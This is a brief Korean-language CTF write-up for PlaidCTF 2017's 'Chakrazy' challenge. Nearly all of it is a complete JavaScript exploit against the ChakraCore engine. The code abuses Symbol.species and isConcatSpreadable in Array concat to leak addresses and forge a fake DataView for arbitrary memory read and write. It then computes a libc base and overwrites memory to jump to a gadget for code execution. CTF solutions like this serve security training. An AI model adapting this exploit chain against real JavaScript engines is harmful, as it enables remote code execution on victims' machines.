PCTF 2017 Chakrazy

FakeDataview 만들어서 익스하면된다.

 

function set_dv(arr,lo,hi) {
arr[0] = 56
arr[4] = (lo - 574280) //+0x3c000
arr[5] = hi
arr[10] = lo
arr[11] = hi 
arr[12] = lo //ArrayBuffer
arr[13] = hi 
arr[14] = lo //buffer
arr[15] = hi
}
 
function leak(addr) {
    var a = [1,2,3,4];
    var b = [5,6,7,8];
    var c = new Function();
    c[Symbol.species] = function() {
            p = [9,10,11,12];
            return p;
    };
    a.constructor = c;
    b.__defineGetter__(Symbol.isConcatSpreadable,function() {
            p[0] = addr;
            b[0] = addr;
            return true;
    });
    return a.concat(b);
}
 
function leak2(addr) {
        var a = [1,2,3,4];
        var b = [5,6,7,8];
        var c = new Function();
        c[Symbol.species] = function() {
                p = [9,10,11,12];
                return p;
        };
        a.constructor = c;
        b.__defineGetter__(Symbol.isConcatSpreadable,function() {
                p[0] = addr;
                b[0] = addr;
                return true;
        });
        return a.concat(b);
}
 
var result = new Uint32Array(2);
var ab_one = new ArrayBuffer(8);
var dv_one = new DataView(ab_one);
var ab_temp = leak2(ab_one);
 
result[0] = ab_temp[0];
result[1] = ab_temp[1];
te = '0x'+(result[1].toString(16)) + (result[0]).toString(16)
console.log(te);
 
var dv = [0];
for(var i=0;i<16;i++)
        dv[i] = 0x0;
 
var dv_temp = leak(dv);
dv_temp[0] = dv_temp[0] - 0x84548+0x30; //- 0x90518
result[0] = dv_temp[0];
result[1] = dv_temp[1];
var te = '0x'+(result[1].toString(16)) + (result[0]).toString(16)
console.log(te);
dv[0] = 0;
dv[2] = dv_temp[0]+0x10;
dv[3] = dv_temp[1];
dv[4] = 0x38;
dv[6] = dv_temp[0];
dv[7] = dv_temp[1];
dv[8] = 0x30;
dv[10] = ab_temp[0];
dv[11] = ab_temp[1];
dv[14] = (dv_temp[0]+0x84548-0x30);
dv[15] = dv_temp[1];
 
var a_attack = [];
for(var i=0;i<0x10;i++)
    a_attack[i] = i;
 
var b = [dv_temp[0],dv_temp[1]];
var c = new Function();
c[Symbol.species] = function() {
        p = [9,10,11,12];
        return p;
};
a_attack.constructor = c;
b.__defineGetter__(Symbol.isConcatSpreadable,function() {
        p[0] = {};
        return true;
});
var temp = (a_attack.concat(b))[8];
var clib = [0,0];
clib[0] = dv_one.getUint32.call(temp,0,true) - 0xd5db40;
clib[1] = dv_one.getUint32.call(temp,4,true);
//libc = clib[0] + 0x1628000
var te = '0x'+(clib[1].toString(16)) + (clib[0]).toString(16)
console.log(te);
dv_one.setUint32.call(temp,16,clib[0]+0x1628000+0xf1147,true);
dv_one.setUint32.call(temp,20,clib[1],true);
dv_one.setUint32.call(temp,0,dv_temp[0]+0x84548-0x30+16-0xa0,true);
dv.hasOwnProperty('AAAA');